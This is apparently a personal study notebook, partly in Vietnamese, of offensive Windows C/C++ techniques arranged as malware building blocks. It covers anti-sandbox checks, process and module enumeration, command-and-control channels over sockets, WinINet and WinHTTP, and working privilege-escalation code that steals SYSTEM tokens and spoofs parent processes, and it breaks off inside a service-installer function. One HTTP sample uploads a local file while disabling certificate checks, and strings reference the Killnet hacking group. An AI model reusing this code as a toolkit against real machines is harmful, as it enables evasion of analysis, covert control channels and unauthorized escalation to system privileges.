## Anti-Sandbox ### 1. Anti-Sanbox With GlobalMemoryStatusEx() ```cpp= MEMORYSTATUSEX msx = { sizeof(msx) }; GlobalMemoryStatusEx(&msx); printf("[+] Available virtual memory: %.5f\n", msx.ullAvailVirtual*1.0/1024/1024/1024); printf("[+] Available physical memory: %.5f\n", msx.ullAvailPhys*1.0/1024/1024/1024); printf("[+] Total virtual memory: %.5f\n", msx.ullTotalVirtual*1.0/1024/1024/1024); printf("[+] Total physical memory: %.5f\n", msx.ullTotalPhys*1.0/1024/1024/1024); ``` :::success * GlobalMemoryStatusEx ::: ## Module Enumeration ### 1. Enumerate Module With Snapshot ```cpp= #include<TlHelp32.h> HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0); if (INVALID_HANDLE_VALUE == hModuleSnapshot) { printf("[-] Failed to get module snapshot! Error 0x%x\n", GetLastError()); return -1; } MODULEENTRY32 me = { sizeof(me) }; if (!Module32First(hModuleSnapshot, &me)) { printf("[-] Failed to enumerate module list! Error 0x%x\n", GetLastError()); } do { printf("[+] Module name: %s\n", me.szModule); printf("[+] Module path: %s\n", me.szExePath); printf("[+] Module base address: 0x%p\n", me.modBaseAddr); } while (Module32Next(hModuleSnapshot, &me)); if (INVALID_HANDLE_VALUE != hModuleSnapshot) CloseHandle(hModuleSnapshot); ``` :::success * CreateToolhelp32Snapshot * Module32First * Module32Next ::: ### 2. Enumerate Module With VirtualQueryEx() ```cpp= #include<psapi.h> // GetModuleFileNameExA #incldue<shlwapi.h> // PathFindFileNameA #include<memoryapi.h> // VirtualQueryEx DWORD targetPID = 8356; HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, targetPID); if (!hProcess) { printf("[-] Failed to open target process! Error 0x%x\n", GetLastError()); return -1; } MEMORY_BASIC_INFORMATION mbi = { 0 }; CHAR modulePath[MAX_PATH]; LPSTR moduleName = NULL; LPBYTE baseAddress = NULL; while (VirtualQueryEx(hProcess, baseAddress, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) { if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) { if (GetModuleFileNameExA(hProcess, (HMODULE)mbi.BaseAddress, modulePath, MAX_PATH)) { moduleName = PathFindFileNameA(modulePath); printf("[+] Module name: %s | Base address: 0x%p\n", moduleName, mbi.BaseAddress); } } baseAddress += mbi.RegionSize; } ``` :::success * VirtualQueryEx * GetModuleFileNameExA * PathFindFileNameA ::: ### 3. Enumerate Module With EnumProcessModules() ```cpp= DWORD targetPID = 8356; HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, targetPID); if (!hProcess) { printf("[-] Failed to open target process! Error 0x%x\n", GetLastError()); return -1; } DWORD bytesNeeded = 0; EnumProcessModules(hProcess, NULL, 0, &bytesNeeded); printf("[+] Bytes needed: %d\n", bytesNeeded); HMODULE* hModules = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bytesNeeded); CHAR moduleFileName[MAX_PATH]; LPSTR moduleName = NULL; EnumProcessModules(hProcess, hModules, bytesNeeded, &bytesNeeded); for (int i = 0; i < bytesNeeded / sizeof(HMODULE); i++) { if (GetModuleFileNameExA(hProcess, hModules[i], moduleFileName, MAX_PATH)) { moduleName = PathFindFileNameA(moduleFileName); printf("[+] Module file name: %s | Base address: 0x%p\n", moduleName, hModules[i]); } } ``` :::success * EnumProcessModules ::: ## Process Enumeration ### 1. Process Enumeration With Snapshot ```cpp= DWORD targetPID = 8356; HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, targetPID); if (!hProcess) { printf("[-] Failed to open target process! Error 0x%x\n", GetLastError()); return -1; } PROCESSENTRY32 pe = { .dwSize = sizeof(pe)}; HANDLE hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (Process32First(hProcessSnapshot, &pe)) { do { printf("[+] Process name: %s | PID: %d\n", pe.szExeFile, pe.th32ProcessID); } while (Process32Next(hProcessSnapshot, &pe)); } ``` :::success * CreateToolhelp32Snapshot * Process32First * Process32Next ::: ### 2. Process Enumeration With NtGetNextProcess() ```cpp= typedef NTSTATUS(NTAPI* pfnNtGetNextProcess)( _In_ HANDLE hProcess, _In_ ACCESS_MASK DesiredAccess, _In_ ULONG HandleAttributes, _In_ ULONG Flags, _Out_ PHANDLE hNexProcess ); HANDLE hProcess = NULL; HMODULE hNtdll = GetModuleHandleA("ntdll"); pfnNtGetNextProcess pNtGetNextProcess = (pfnNtGetNextProcess)GetProcAddress(hNtdll, "NtGetNextProcess"); CHAR processPath[MAX_PATH]; LPSTR processName = NULL; while (!pNtGetNextProcess(hProcess, MAXIMUM_ALLOWED, 0, 0, &hProcess)) { if (GetProcessImageFileNameA(hProcess, processPath, MAX_PATH)) { processName = PathFindFileNameA(processPath); if (!lstrcmpiA(processName, "wininit.exe")) { printf("[+] Process id: %d\n", GetProcessId(hProcess)); } } } ``` :::success * NtGetNextProcess ::: ### 3. Process Enumeration With WTSEnumerateProcesses() ```cpp= PWTS_PROCESS_INFOA info = { 0 }; DWORD count = 0; if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, 1, &info, &count)) { printf("[-] Failed to enumerate process! Error 0x%x\n", GetLastError()); return; } for (DWORD i = 0; i < count; i++) { PWTS_PROCESS_INFOA currentInfo = info + i; printf("[+] PID: %d | Session %d | Name: %s\n", currentInfo->ProcessId, currentInfo->SessionId, currentInfo->pProcessName); } WTSFreeMemory(info); ``` :::success * WTSEnumerateProcessesA ::: ### 4. Process Enumeration With EnumProcesses() ```cpp= DWORD bytesNeeded = 0; DWORD pids[1024]; if (!EnumProcesses(pids, 1024, &bytesNeeded)) { printf("[-] Failed to enum proces! Error 0x%x\n", GetLastError()); return; } CHAR processName[MAX_PATH]; HANDLE hProcess = NULL; for (int i = 0; i < bytesNeeded / sizeof(DWORD); i++) { hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pids[i]); if (!hProcess) printf("[-] Failed to get handle process! PID: %d\n", pids[i]); if (GetProcessImageFileNameA(hProcess, processName, MAX_PATH)) printf("[+] %d %s\n", pids[i], processName); } ``` :::success * EnumProcesses ::: ### 5. Process Enumeration With NtQuerySystemInformation() ```cpp= ULONG bufferSize = 0; NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); PSYSTEM_PROCESS_INFORMATION processInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufferSize); NtQuerySystemInformation(SystemProcessInformation, (PVOID)processInfo, bufferSize, &bufferSize); for(;;){ printf("[+] (Session ID: %llu) (Process ID: %llu) (Name: %ws)\n", processInfo->SessionId, HandleToULong(processInfo->UniqueProcessId), processInfo->ImageName.Buffer ? processInfo->ImageName.Buffer : L""); if (!processInfo->NextEntryOffset) break; processInfo = (PSYSTEM_PROCESS_INFORMATION)((LPBYTE)processInfo + processInfo->NextEntryOffset); } ``` :::success * NtQuerySystemInformation ::: ## Command & Control ### 1. URL Monikers ```cpp= // include<urlmon.h> IStream* stream = NULL; LPSTR C2URL = "http://example.com/"; URLOpenBlockingStreamA(NULL, C2URL, &stream, 0, NULL); CHAR buffer[100]; DWORD bytesRead = 0; while (1){ stream->lpVtbl->Read(stream, buffer, sizeof(buffer) - 1, &bytesRead); if (0U == bytesRead) { break; } buffer[bytesRead] = '\0'; printf("%s", buffer); } ``` :::success * URLOpenBlockingStreamA ::: ### 2. Socket :diamond_shape_with_a_dot_inside: **Client Side** ```cpp= #include<stdio.h> #include<winsock2.h> #include<WS2tcpip.h> #include<Windows.h> #include<urlmon.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "urlmon.lib") #define MAX_PACKAGE 256 int main(int agrc, const char* argv[]) { WSADATA wsaData; SOCKET clntSock; SOCKADDR_IN srvAddr; CHAR sendMsg[] = "Hello Server!"; CHAR recvMsg[MAX_PACKAGE]; DWORD sendBytes, recvBytes; do { if (WSAStartup(MAKEWORD(2, 2), &wsaData))break; clntSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == clntSock) break; ZeroMemory(&srvAddr, sizeof(srvAddr)); srvAddr.sin_family = AF_INET; inet_pton(AF_INET, "127.0.0.1", &srvAddr.sin_addr.s_addr); //srvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); srvAddr.sin_port = htons(5555); if (SOCKET_ERROR == connect(clntSock, &srvAddr, sizeof(srvAddr))) break; sendBytes = send(clntSock, sendMsg, sizeof(sendMsg), 0); shutdown(clntSock, SD_SEND); if (SOCKET_ERROR == sendBytes) break; recvBytes = recv(clntSock, recvMsg, MAX_PACKAGE, 0); shutdown(clntSock, SD_RECEIVE); if (SOCKET_ERROR == recvBytes) break; printf("[+] Message receive from server: %s\n", recvMsg); } while (0); if (INVALID_SOCKET != clntSock) closesocket(clntSock); WSACleanup(); return 0; } ``` :diamond_shape_with_a_dot_inside: **Server Side** ```cpp= #include<stdio.h> #include<winsock2.h> #include<Windows.h> #include<urlmon.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "urlmon.lib") #define MAX_PACKAGE 256 int main(int agrc, const char* argv[]) { WSADATA wsaData; SOCKET srvSock, clntSock; SOCKADDR_IN srvAddr, clntAddr; CHAR sendMsg[] = "Hello Client!"; CHAR recvMsg[MAX_PACKAGE]; int sendBytes, recvBytes, clntAddrSz; do { if (WSAStartup(MAKEWORD(2, 2), &wsaData))break; srvSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == srvSock) break; ZeroMemory(&srvAddr, sizeof(srvAddr)); srvAddr.sin_family = AF_INET; srvAddr.sin_addr.s_addr = INADDR_ANY; srvAddr.sin_port = htons(5555); if (SOCKET_ERROR == bind(srvSock, &srvAddr, sizeof(srvAddr))) break; if (SOCKET_ERROR == listen(srvSock, 20)) break; clntAddrSz = sizeof(clntAddr); clntSock = accept(srvSock, (struct sockaddr*)&clntAddr, &clntAddrSz); if (INVALID_SOCKET == clntSock) break; printf("[+] Accept client (%s %hu)\n", inet_ntoa(clntAddr.sin_addr), ntohs(clntAddr.sin_port)); recvBytes = recv(clntSock, recvMsg, sizeof(recvMsg), 0); if (SOCKET_ERROR == recvBytes) break; shutdown(clntSock, SD_RECEIVE); printf("[+] Message receive from client: %s\n", recvMsg); sendBytes = send(clntSock, sendMsg, sizeof(sendMsg), 0); shutdown(clntSock, SD_SEND); if (SOCKET_ERROR == sendBytes) break; } while (0); if (INVALID_SOCKET != clntSock) closesocket(clntSock); if (INVALID_SOCKET != srvSock) closesocket(srvSock); WSACleanup(); return 0; } ``` :::success * WSAStartup * socket * inet_addr * inet_pton * htons * connect * send * recv * shutdown * bind * listen * accept * WSACleanup ::: ### 3. Wininet :diamond_shape_with_a_dot_inside: **Request HTTP object** ```cpp= #include<stdio.h> #include<WinSock2.h> #include<Windows.h> #include<wininet.h> #include<winternl.h> #pragma comment(lib, "wininet.lib") #pragma comment(lib, "ws2_32.lib") #define BREAK_WITH_ERROR(s) \ {printf("%s! Error 0x%x", s, GetLastError()); break;} int main(int argc, const char* argv[]) { BYTE buf[1024]; DWORD bytesRead = 0; LPCSTR myHeader = "My-header: legion\r\nMy-header2: killnet\r\nContent-Type: text/html"; HINTERNET hInternet = NULL, hURL = NULL; do { hInternet = InternetOpenA("Syaoren", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (!hInternet) BREAK_WITH_ERROR("Failed to open internet") hURL = InternetOpenUrlA(hInternet, "https://httpbin.org/get", myHeader, -1, INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD, 0); if (!hURL) BREAK_WITH_ERROR("Failed to open URL") if (!InternetReadFile(hURL, buf, sizeof(buf) - 1, &bytesRead)) BREAK_WITH_ERROR("Failed to read content of URL") buf[bytesRead] = '\0'; printf("%s", buf); } while (0); if (hURL) InternetCloseHandle(hURL); if (hInternet) InternetCloseHandle(hInternet); ``` :diamond_shape_with_a_dot_inside: **Request HTTP object in detail** ```cpp= #include<stdio.h> #include<WinSock2.h> #include<Windows.h> #include<wininet.h> #include<winternl.h> #pragma comment(lib, "wininet.lib") #pragma comment(lib, "ws2_32.lib") #define BREAK_WITH_ERROR(s) \ {printf("%s! Error 0x%x", s, GetLastError()); break;} int main(int argc, const char* argv[]) { BYTE buf[1024]; DWORD bytesRead = 0, secFlags = 0, secFlagsLen = sizeof(secFlags), responeHeadersSz = 1023, connectFlags = 0; LPCSTR acceptTypes[] = { "application/xml", NULL }; LPCSTR headers = "My-header1: 100\r\nMy-header2: 200\r\nConnection: close"; LPCSTR body = "We Are Legion!"; BYTE responeHeaders[1024]; HINTERNET hInternet = NULL, hConnect = NULL, hRequest = NULL; do { if(!InternetGetConnectedState(&connectFlags, 0)) BREAK_WITH_ERROR("No internet") if(!InternetCheckConnectionA("https://httpbin.org/", FLAG_ICC_FORCE_CONNECTION, 0)) BREAK_WITH_ERROR("No reachabel over server") hInternet = InternetOpenA("Syaoren", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (!hInternet) BREAK_WITH_ERROR("Failed to open internet") hConnect = InternetConnectA(hInternet, "httpbin.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!hConnect)BREAK_WITH_ERROR("Failed to connect to server") hRequest = HttpOpenRequestA(hConnect, "POST", "/post?param1=100&param2=200", "HTTP/1.1", NULL, acceptTypes, INTERNET_FLAG_SECURE, 0); if (!hRequest)BREAK_WITH_ERROR("Failed to open request") if (!InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &secFlags, &secFlagsLen)) BREAK_WITH_ERROR("Failed to retrive security options") secFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_WEAK_SIGNATURE | SECURITY_FLAG_IGNORE_WRONG_USAGE; if (!InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &secFlags, secFlagsLen)) BREAK_WITH_ERROR("Failed to change security options") if (!HttpSendRequestA(hRequest, headers, strlen(headers), body, strlen(body))) BREAK_WITH_ERROR("Failed to send HTTP request") if (!HttpQueryInfoA(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, responeHeaders, &responeHeadersSz, NULL)) BREAK_WITH_ERROR("Failed to retrive HTTP respone headers") responeHeaders[responeHeadersSz] = '\0'; printf("%s", responeHeaders); if (!InternetReadFile(hRequest, buf, sizeof(buf) - 1, &bytesRead)) BREAK_WITH_ERROR("Failed to get file object") buf[bytesRead] = '\0'; printf("%s", buf); } while (0); if (hRequest)InternetCloseHandle(hRequest); if (hConnect)InternetCloseHandle(hConnect); if (hInternet) InternetCloseHandle(hInternet); return 0; } ``` :diamond_shape_with_a_dot_inside: **Send HTTP request with HTTPSendRequestExA** :::info * Khi sử dụng HTTPSendRequestEx thì ta phải luôn sử dụng HTTPEndRequest để thông báo rằng ta đã gửi xong dữ liệu và hoàn thành quá trình HTTP request. ::: ```cpp= #include<stdio.h> #include<WinSock2.h> #include<Windows.h> #include<wininet.h> #include<winternl.h> #pragma comment(lib, "wininet.lib") #pragma comment(lib, "ws2_32.lib") #define BREAK_WITH_ERROR(s) \ {printf("%s! Error 0x%x", s, GetLastError()); break;} int main(int argc, const char* argv[]) { BYTE buf[1024]; DWORD bytesRead = 0, bytesWrite = 0, secFlags = 0, secFlagsLen = sizeof(secFlags), resHeadersSz = 1023, connectFlags = 0; LPCSTR acceptTypes[] = { "text/*", NULL }; LPCSTR headers = "My-header1: 100\r\nMy-header2: 200"; LPCSTR body = "We Are Legion!"; BYTE resHeaders[1024]; INTERNET_BUFFERSA inBuffer = { 0 }; LPCSTR filePath = "C:\\Users\\Hii\\Desktop\\cscapi.dll"; HANDLE hFile = NULL; DWORD fileSz = 0; HINTERNET hInternet = NULL, hConnect = NULL, hRequest = NULL; do { hInternet = InternetOpenA("Syaoren", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (!hInternet) BREAK_WITH_ERROR("Failed to open internet") hConnect = InternetConnectA(hInternet, "httpbin.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!hConnect)BREAK_WITH_ERROR("Failed to connect to server") hRequest = HttpOpenRequestA(hConnect, "POST", "/post?param1=100&param2=200", "HTTP/1.1", NULL, acceptTypes, INTERNET_FLAG_SECURE|INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_COOKIES, 0); if (!hRequest)BREAK_WITH_ERROR("Failed to open request") hFile = CreateFileA(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hFile) BREAK_WITH_ERROR("Failed to open file") fileSz = GetFileSize(hFile, NULL); printf("[+] File size: %d\n", fileSz); BYTE smallBuf[] = "We Are Legion! We Are Killnet!"; DWORD smallBufLen = strlen(smallBuf); inBuffer.dwStructSize = sizeof(inBuffer); inBuffer.lpvBuffer = smallBuf; inBuffer.dwBufferLength = smallBufLen; inBuffer.dwBufferTotal = smallBufLen + fileSz; inBuffer.lpcszHeader = headers; inBuffer.dwHeadersLength = strlen(headers); if (!HttpSendRequestExA(hRequest, &inBuffer, NULL, 0, 0)) BREAK_WITH_ERROR("Failed to send HTTP request") int totalBytesWrite = 0; while (ReadFile(hFile, buf, sizeof(buf), &bytesRead, NULL) && bytesRead > 0) { int curPos = 0; while (curPos < bytesRead) { if (!InternetWriteFile(hRequest, buf + curPos, bytesRead - curPos, &bytesWrite)) { printf("[-] Failed to write file! Error code 0x%x\n", GetLastError()); break; } curPos += bytesWrite; } totalBytesWrite += bytesRead; } printf("[+] Total bytes write: %d\n", totalBytesWrite); if(!HttpEndRequestA(hRequest, NULL, 0, 0)) BREAK_WITH_ERROR("Failed to end HTTP request") BYTE extractHeader[MAX_PATH]; DWORD headerSz = sizeof(extractHeader); if (!HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH, extractHeader, &headerSz, NULL)) BREAK_WITH_ERROR("Failed to retrive content length") extractHeader[headerSz] = '\0'; DWORD contentLen = atoi(extractHeader); printf("[+] Content-Length: %d\n", contentLen); int totalBytesRead = 0; while (totalBytesRead < contentLen) { InternetReadFile(hRequest, buf, sizeof(buf) - 1, &bytesRead); buf[bytesRead] = '\0'; printf("%s", buf); totalBytesRead += bytesRead; } } while (0); if (hRequest)InternetCloseHandle(hRequest); if (hConnect)InternetCloseHandle(hConnect); if (hInternet) InternetCloseHandle(hInternet); return 0; } ``` :::success + InternetOpen + InternetConnect + InternetCheckConnection + InternetConnectedState + InternetOpenUrl + InternetQueryOption + InternetSetOption + HttpOpenRequest + HttpSendRequest + HttpQueryInfo + InternetReadFile + InternetReadFileEx + HttpSendRequestEx + InternetWriteFile + HttpEndRequest + InternetCloseHandle ::: ### 4. WinHTTP ![image](https://hackmd.io/_uploads/SyPsy4vC6.png) ```cpp= #include<stdio.h> #include<Windows.h> #include<winhttp.h> #include<wininet.h> #pragma comment(lib, "winhttp.lib") #define BREAK_WITH_ERROR(s) \ {printf("%s! Error 0x%x", s, GetLastError()); break;} int main(int argc, const char* argv[]) { HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; LPCWSTR acceptTypes[] = { L"text/html", L"application/json", NULL }; LPCWSTR headers = L"my-header1: 100\r\nmy-header2: 200"; CHAR bodyEntity[] = "We Are Legion\nWe Are Killnet\n"; CHAR additionalBodyEnity[] = "I'm Sy40r3n Who Are You?\n"; DWORD headersLen = wcslen(headers); WCHAR resHeaders[1025]; DWORD resHeadersLen = 1024; DWORD bytesWrite = 0; BYTE buffer[1025]; DWORD bytesRead = 0; do { hSession = WinHttpOpen(L"Syaoren", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if(!hSession) BREAK_WITH_ERROR("Failed to open HTTP session") hConnect = WinHttpConnect(hSession, L"httpbin.org", INTERNET_DEFAULT_HTTPS_PORT, 0); if(!hConnect) BREAK_WITH_ERROR("Failed to set up HTTP session") hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/post?par1=100&par2=200", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); if(!hRequest) BREAK_WITH_ERROR("Failed to open HTTP request") if(!WinHttpSendRequest(hRequest, headers, -1, bodyEntity, strlen(bodyEntity), strlen(bodyEntity) + strlen(additionalBodyEnity), 0)) BREAK_WITH_ERROR("Failed to send HTTP request") bytesWrite = strlen(additionalBodyEnity) ; if(!WinHttpWriteData(hRequest, additionalBodyEnity, bytesWrite, &bytesRead)) BREAK_WITH_ERROR("Failed to write data") if(!WinHttpReceiveResponse(hRequest, NULL)) BREAK_WITH_ERROR("Failed to receive HTTP respone") if(!WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX, resHeaders, &resHeadersLen, WINHTTP_NO_HEADER_INDEX)) BREAK_WITH_ERROR("Failed to query header") resHeaders[resHeadersLen] = L'\0'; printf("%ws", resHeaders); if(!WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead)) BREAK_WITH_ERROR("Failed to read data from server") buffer[bytesRead] = '\0'; printf("%s", buffer); } while (0); if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession)WinHttpCloseHandle(hSession); return 0; } ``` :::success * WinHttpOpen * WinHttpConnect * WinHttpOpenRequest * WinHttpSendRequest * WinHttpWriteData * WinHttpReceiveResponse * WinHttpQueryHeaders * WinHttpReadData * WinHttpCloseHandle ::: ## Privilege Escalation ### 1. Token theft ```cpp= #include<stdio.h> #include<Windows.h> #include<sddl.h> #define BREAK_WITH_ERROR(m) {printf("[-] %s! Error 0x%x\n", m, GetLastError());break;} VOID SetPrivilege(LPCWSTR priv) { HANDLE hToken = NULL; TOKEN_PRIVILEGES tp = { 0 }; tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!LookupPrivilegeValue(NULL, priv, &tp.Privileges[0].Luid)) { printf("[-] Failed to lookup luid priviledge! Error code 0x%x\n", GetLastError()); return; } if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { printf("[-] Failed to open procsess token! Error code 0x%x\n", GetLastError()); return; } if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) { printf("[-] Failed to adjust privilege! Error code 0x%x\n", GetLastError()); return; } } VOID TokenTheft1(){ SetPrivilege(SE_DEBUG_NAME); DWORD targetPID = 564; HANDLE hProcess = NULL, hToken = NULL, hDupToken = NULL; STARTUPINFOW si = { 0 }; PROCESS_INFORMATION pi = { 0 }; WCHAR appPath[] = L"C:\\Windows\\System32\\notepad.exe"; do { hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, targetPID); if(!hProcess) BREAK_WITH_ERROR("Failed to open process") if(!OpenProcessToken(hProcess, MAXIMUM_ALLOWED, &hToken)) BREAK_WITH_ERROR("Failed to open process token") if(!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken)) BREAK_WITH_ERROR("Failed to dupplicate token") si.cb = sizeof(si); if(!CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE, appPath, NULL, 0, NULL, NULL, &si, &pi)) BREAK_WITH_ERROR("Failed to create process with token") } while (0); } VOID TokenTheft2() { PROCESS_INFORMATION pi = { 0 }; STARTUPINFOEXA sie = { 0 }; CHAR exePath[] = "C:\\Windows\\System32\\cmd.exe"; SIZE_T size = 0; DWORD targetPid = 564; HANDLE hTargetProcess = NULL, hNewProcess = NULL; do { hTargetProcess = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPid); if(!hTargetProcess) BREAK_WITH_ERROR("Failed to open target process") InitializeProcThreadAttributeList(NULL, 5, 0, &size); sie.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size); InitializeProcThreadAttributeList(sie.lpAttributeList, 1, 0, &size); UpdateProcThreadAttribute(sie.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hTargetProcess, sizeof(hTargetProcess), NULL, NULL); sie.StartupInfo.cb = sizeof(STARTUPINFOEXA); if(!CreateProcessA(exePath, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sie, &pi)) BREAK_WITH_ERROR("Failed to create process") if (!hNewProcess) BREAK_WITH_ERROR("Failed to create process") } while (0); if (pi.hThread) CloseHandle(pi.hThread); if (pi.hProcess) CloseHandle(pi.hProcess); if (hTargetProcess) CloseHandle(hTargetProcess); } int main(int argc, const char* argv[]) { TokenTheft1(); return 0; } ``` :::success * OpenProcessToken * DuplicateTokenEx * CreateProcessWithToken * InitializeProcThreadAttributeList * UpdateInitializeProcThreadAttributeList ::: ### 2. Service ![image](https://hackmd.io/_uploads/SJS543sR6.png) :diamond_shape_with_a_dot_inside: **Executable Service** ```cpp= #include<stdio.h> #include<Windows.h> #include<winsvc.h> #define BUFFER_SIZE 1024 #define BREAK_WITH_ERROR(m) \ {printf("[-] %s! Error code 0x%x", m, GetLastError()); break;} #define BREAK_WITH_STATUS(m, s) \ {printf("[-] %s! Status code 0x%x", m, s); break;} #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define OBJ_CASE_INSENSITIVE 0x00000040L #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef NTSTATUS (NTAPI *pfnZwCreateKey)( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG TitleIndex, IN PUNICODE_STRING Class OPTIONAL, IN ULONG CreateOptions, OUT PULONG Disposition OPTIONAL ); typedef NTSTATUS (NTAPI *pfnZwSetValueKey)( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN ULONG TitleIndex OPTIONAL, IN ULONG Type, IN PVOID Data, IN ULONG DataSize ); HANDLE g_hStopEvent; SERVICE_STATUS g_Status; SERVICE_STATUS_HANDLE g_hService; BOOL InstallService1(); BOOL InstallService2(); BOOL InstallService3(); BOOL IsRunningElevated(); BOOL StartService1(); BOOL EnumService(); BOOL StopService1(); BOOL UninstallService1(); BOOL HandleCommand(int argc, const wchar_t* argv[]); VOID WINAPI SyaorenMain(DWORD dwNumServiceArgs, LPWSTR* lpServiceArgVectors); VOID InitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString); int wmain(int argc, const wchar_t* argv[]) { if (argc > 1) return HandleCommand(argc, argv); WCHAR serviceName[] = L"Syaoren"; CONST SERVICE_TABLE_ENTRYW entry[] = { {serviceName, SyaorenMain}, {NULL, NULL} }; if (!StartServiceCtrlDispatcherW(entry)) return 1; return 0; } BOOL IsRunningElevated() { HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return FALSE; DWORD elevation = 0, elevationLen = 0; GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &elevationLen); CloseHandle(hToken); return elevation ? TRUE : FALSE; } BOOL HandleCommand(int argc, const wchar_t* argv[]) { if (!IsRunningElevated()) return 1; if (!_wcsicmp(argv[1], L"install1")) return InstallService1(); if (!_wcsicmp(argv[1], L"install2")) return InstallService2(); if (!_wcsicmp(argv[1], L"install3")) return InstallService3(); if (!_wcsicmp(argv[1], L"start")) return StartService1(); if (!_wcsicmp(argv[1], L"stop")) return StopService1(); if (!_wcsicmp(argv[1], L"uninstall")) return UninstallService1(); } VOID InitUnicodeString(PUNICODE_STRING destinationString, PCWSTR sourceString) { destinationString->Buffer = (PWSTR)sourceString; destinationString->Length = (USHORT)(wcslen(sourceString) * sizeof(WCHAR)); destinationString->MaximumLength = destinationString->Length + sizeof(WCHAR); } BOOL InstallService3() { BOOL returnStatus = FALSE; HMODULE hNtdll = NULL; pfnZwCreateKey pZwCreateKey = NULL; pfnZwSetValueKey pZwSetValueKey = NULL; NTSTATUS status = 0; HKEY hKey = NULL; UNICODE_STRING keyName = { 0 }, valueName = { 0 }; OBJECT_ATTRIBUTES objectAttributes; WCHAR objectName[] = L"LocalSystem", imagePath[] = L"C:\\Users\\kuzan\\Desktop\\Service.exe", keyPath[] = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Syaoren"; DWORD error = SERVICE_ERROR_NORMAL, startType = SERVICE_DEMAND_START, serviceType = SERVICE_WIN32_OWN_PROCESS; do { if (!(hNtdll = GetModuleHandleW(L"ntdll"))) 